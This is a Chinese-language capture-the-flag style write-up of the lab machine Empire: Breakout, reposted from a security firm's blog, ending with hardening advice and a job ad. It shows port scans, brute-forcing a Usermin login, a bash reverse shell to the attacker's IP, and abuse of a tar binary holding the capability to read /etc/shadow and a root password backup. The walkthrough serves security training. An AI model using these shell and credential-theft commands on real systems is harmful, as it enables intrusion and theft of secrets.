九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

admin 2024年10月9日12:55:18评论23 views字数 5393阅读17分58秒阅读模式

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

一、准备工作

- 启动VPN:

获取攻击机IP → `192.168.45.157`。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

 - 启动靶机:

获取目标机器IP → `192.168.232.238`。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

二、信息收集-端口扫描

01、目标开放端口收集

(用不同方式扫描)

- Tcp端口扫描:

┌──(root㉿Kali)-[~]└─# sudo nmap --min-rate 10000 -p- 192.168.232.238PORT      STATE    SERVICE80/tcp    open     http10000/tcp open     snet-sensor-mgmt20000/tcp open     dnp

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

 - UDP端口扫描:

┌──(root㉿Kali)-[~]└─# sudo nmap -sU --min-rate 10000 -p- 192.168.232.238PORT      STATE SERVICE10000/udp open  ndmp20000/udp open  dnp

*左右滑动查看更多

通过两次收集到的端口(问了一下`chatgpt`,因为有的端口不熟悉):

80 http10000  这个服务通常与安全网络监控相关20000  "dnp"服务 远程控制和监控的协议

02、目标端口对应服务探测

# tcp探测┌──(root㉿Kali)-[~]└─# sudo nmap -sT -sV -O -sC -p80,10000,20000 192.168.232.238PORT      STATE SERVICE VERSION80/tcp    open  http    Apache httpd 2.4.51 ((Debian))|_http-title: Apache2 Debian Default Page: It works|_http-server-header: Apache/2.4.51 (Debian)10000/tcp open  http    MiniServ 1.981 (Webmin httpd)|_http-server-header: MiniServ/1.981|_http-trane-info: Problem with XML parsing of /evox/about|_http-title: 200 — Document follows20000/tcp open  http    MiniServ 1.830 (Webmin httpd)|_http-server-header: MiniServ/1.830|_http-title: 200 — Document follows|_http-trane-info: Problem with XML parsing of /evox/about

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

三、信息收集-端口测试

根据探测的端口进行进一步的测试。

01、80-HTTP端口的信息收集

访问 http://192.168.232.238:80 是初始页,考虑收集敏感信息。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

信息收集-源码查看

# 包括文章中是否写明一些敏感信息curl http://192.168.232.238:80

发现了一串加密信息,提示是这是密钥:

<!--

don't worry no one will get here, it's safe to share with you my access. Its encrypted 九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.

-->

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

CHATGPT辅助解密

上文的文本看起来像是一段使用Brainfuck编程语言编写的代码。Brainfuck是一种极简的编程语言,仅有八个命令符号,分别是:“>”, “<”, “+”, “-”, “.”, “,”, “[”, 和 "]”。

网上搜了一下解密软件解密结果:`.2uqPEfj3D<P'a-3`。

https://www.splitbrain.org/services/ook

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

访问 `http://192.168.232.238:10000`要求`https`。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

是一个`Webmin`。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

信息收集-指纹识别

whatweb http://192.168.232.238:10000

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

访问 `http://192.168.232.238:20000`要求`https`。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

信息收集-指纹识别

whatweb http://192.168.232.238:20000

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

信息收集-目录扫描

信息收集-利用目录扫描工具扫描80、10000、20000端口

dirsearch -u http://192.168.232.238:80  -x 302,403

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

扫描10000、20000端口时无收获:

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

 因为扫出了目录,深层次的扫描待选:

信息收集-目录扫描(后缀)信息收集-目录扫描(深度/大字典)信息收集-目录扫描(深度/大字典后缀)

信息收集-目录探测

/manual 端点

该端点是默认端点,无收获。先去访问其他端口,如果没收获回来上大字典。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

02、 思考复盘

在80端口、10000端口、20000端口访问以及基础目录扫描之后,得到的只有一个密码。

尝试在10000端口、20000端口登录处进行用户名爆破,之后考虑上更大的字典。

四、漏洞利用-getwebshell

通过前文解密后内容进行后台爆破

获得了一个`.2uqPEfj3D<P'a-3`  利用burp辅助进行爆破。

字典选择`kali`中的通用字典 `/usr/share/wordlists/rockyou.txt`。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

在经历了漫长的爆破之后 `...` 通过爆破查看确定可以进入的用户名 `cyber`。

成功进入了20000端口的`usermin`。

`cyber:.2uqPEfj3D<P'a-3`

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

后台getwebshell

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

 进入后台之后发现了一个图片戳了进去发现直接获得了`shell`。因为很像win里面的:

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

五、内网遨游-getshell

01、交互shell

利用web服务中自带执行命令功能进行反弹,反弹到本地方便操作:

# 本地开启监听sudo nc -lvnp 4555# 利用linux自带的bash进行反弹bash -i >& /dev/tcp/192.168.45.157/4555 0>&1

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

02、 FLAG1获取

cyber@breakout:~$ find / -name local.txt 2>/dev/nullfind / -name local.txt 2>/dev/null/home/cyber/local.txtcyber@breakout:~$ cat /home/cyber/local.txtcat /home/cyber/local.txt211e69da4854130483f832a9364c08b2

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

03、提权基础(内网信息收集)

提权的本质在于枚举。

检测Linux操作系统的发行版本

# 确定发行版本lsb_release -a

`Debian`发行版不太能`overlayfs`提权。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

检测Linux操作系统的内核版本

cat /proc/versionuname -a

内核版本 `5.10.0`。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

sudo收集

查找具有`sudo`权限,且不需要密码的可提权文件:

# 利用sudo -l寻找sudo -l

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

suid权限收集

搜索`suid`文件权限:

# -perm 文件权限find / -perm -u=s -type f 2>/dev/null

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

getcap标志进程收集

# 探查有CAP_SETUID标志的进程cyber@breakout:~$ /usr/sbin/getcap -r / 2>/dev/null/usr/sbin/getcap -r / 2>/dev/null/home/cyber/tar cap_dac_read_search=ep/usr/bin/ping cap_net_raw=ep

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

04、权限提升

发现:

`/home/cyber/tar cap_dac_read_search=ep`

*左右滑动查看更多

如果发现有东西的话,访问网址 https://gtfobins.github.io 寻找。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

分析了一下,上面应该是系统的`tar`,而我这个是个人的`tar`

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

查看确定有执行和读取权限 结合`cap_dac_read_search` 运行可以利用`root`权限压缩,在利用系统自身的`tar`解压获取文件权限。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

通常可以用于操作查看敏感文件或者敏感压缩包。大概率在`home`、`etc`和`var`中,首先翻阅`/home`下。

接下来到处逛逛找找有没有泄露的信息 (痛苦的枚举过程)。

tar命令正好可以压缩和解压文件,因此使用tar用root压缩在普通解压查看内容。

首先翻阅了一下`/etc/shadow`:

# 打包文件$ ./tar -cvf passwd.gz /etc/shadow$ lslocal.txt  passwd.gz  tar# 解压文件  $ tar -xvf passwd.gz# 查看shadow文件$ cat ./etc/passwd

emmmm,尝试爆破了很久不太行。

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

在翻阅`var`时发现了一个有趣的文件夹`backups`:

/var/backups$ ls -al

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

 发现了一个隐藏文件,并且没有可读权限。

# 打包文件$ ./tar -cvf passwd.tar /var/backups/.old_pass.bak/var/backups/.old_pass.bak$ lslocal.txt  passwd.tar  tar# 解压文件  $ tar -xvf passwd.tarvar/backups/.old_pass.bak# 查看获得root的密码$ cat var/backups/.old_pass.bakcat var/backups/.old_pass.bak# 查看密码Ts&4&YurgtRX(=~h

*左右滑动查看更多

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

理论上是`root`的密码,尝试`su`。

提权成功:

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

05、FLAG2获取

cat /root/proof.txt8832cf60ce0cd05c9b45f8e23e5eac05

九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

 完结撒花~

六、总结及加固建议

思路总结:

getwebshell →  源码信息泄露 → 解密获取密码 → 登录界面登录进入后台 → 发现`shell`。

提 权 思 路  → 发现`getcap`标志的`tar` → 寻找泄露文件(烦) → 利用`./tar`与`tar`差异获取文件的`r`权 → 泄露得到`root`密码 → `su`提权。

加固建议:

1、敏感信息写在源码内导致突破后台,因此去敏是非常重要的事情。

2、`Linux`系统中存在`cap_dac_read_search`权限的`tar`,配置不当,不合理的使用使得`root`密码信息泄露,因此要合理配置文件权限。

插播一条招聘信息

一、安全研究工程师实习生(25/26届)

工作地点:深圳
岗位职责:

1、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真; 
2、对防御对抗、反溯源、攻击利用等相关红队工具进行研究和开发;
3、熟悉OWASP TOP 10,具有网络安全、系统安全、Web安全等方面的理论基础;
4、熟悉常见编程语言中的一种(Java、Python、PHP、GO),并能够熟练写出针对性的测试脚本;
5、参与区域内网渗透测试、代码审计、红蓝对抗活动、最新漏洞动态跟踪及复现、风险评估、客户培训等工作;
6、主要参与新服务、新技术创新服务的研究;
7、根据ATT&CK框架梳理研究相关TPPs,并形成对应的检测规则。
加分项:
1、具有渗透测试经验或逆向分析能力或溯源分析能力,曾经参与过大型的红蓝对抗项目;
2、熟悉Java、Python、PHP、GO等编程,并有良好的编程习惯和丰富的代码经验;
3、具备钻研精神,愿意在安全领域做出技术突破;
4、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真; 

二、代码审计工程师实习生(25/26届)
工作地点:深圳
岗位职责:

1、跟踪和分析业界最新安全漏洞。
2、挖掘Java、PHP程序中未知的安全漏洞和代码缺陷,并对漏洞进行验证,编制安全加固报告;
3、主要参与新服务、新技术创新服务的研究;
任职要求:
1、对JAVA/PHP编程有较深入的了解,具备较强的Java/PHP代码审计能力,有丰富实战能力;
2、熟悉JAVA/PHP主流框架,具备有一定的编程能力;
3、深入理解常见安全漏洞产生原理及防范方法;
4、熟练掌握源代码测试工具及测试流程,有CNVD、CNNVD等漏洞证书、CVE或CTF比赛获奖者者优先。
5、熟悉主流的源代码审计工具;
6、思路清晰,具有优秀的分析、解决问题的能力,有良好的学习能力及团队协作能力;
7、具备较强的沟通能力、抗压能力,团队合作精神及钻研精神。

简历投递可扫描本文末二维码添加小编微信,或直接发送至邮箱[email protected]

原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月9日12:55:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakouthttp://cn-sec.com/archives/1929094.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息